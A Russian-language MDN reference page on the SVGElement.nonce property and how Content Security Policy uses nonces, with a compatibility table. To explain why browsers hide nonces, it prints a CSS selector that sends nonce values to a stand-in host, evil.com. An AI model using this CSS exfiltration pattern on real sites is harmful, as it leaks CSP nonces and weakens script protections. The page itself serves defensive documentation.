SVGElement: свойство nonce
Базовая Широко доступная
Эта функция хорошо отработана и работает на многих устройствах и версиях браузеров. Она доступна во всех браузерах с января 2020 года.
Свойство nonce интерфейса SVGElement возвращает nonce, который используется политикой безопасности содержимого для определения, разрешено ли данное обращение.
Значение
Строка; криптографический nonce или пустая строка, если nonce не задан.
Примеры
Получение значения nonce
Раньше не все браузеры поддерживали nonce IDL-атрибут, поэтому в качестве обходного решения использовалось getAttribute:
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");
// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`
Однако, в последних версиях браузеров значения nonce скрываются при доступе таким способом (будет возвращена пустая строка). IDL-свойство (svg['nonce']) — единственный способ получить доступ к nonce.
Скрытие nonce помогает защитить от злоумышленников, которые пытаются извлечь nonce-данные через механизмы, способные получить данные из атрибутов содержимого, таких как этот селектор CSS:
svg[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Спецификации
| Спецификация |
|---|
| HTML # dom-noncedelement-nonce |
Совместимость с браузерами
| Рабочие столы | Мобильные устройства | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| Chrome | Edge | Firefox | Opera | Safari | Chrome Android | Firefox for Android | Opera Android | Safari на iOS | Samsung Internet | WebView Android | |
nonce |
61 | 79 | 75 | 48 | 15.4 | 61 | 79 | 45 | 15.4 | 8.0 | 61 |
См. также
-
HTMLElement.nonce— аналогичный метод для HTML-элементов. nonceглобальный атрибут- Политика безопасности содержимого
- Политика безопасности содержимого:
script-src
© 2005–2024 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-US/docs/Web/API/SVGElement/nonce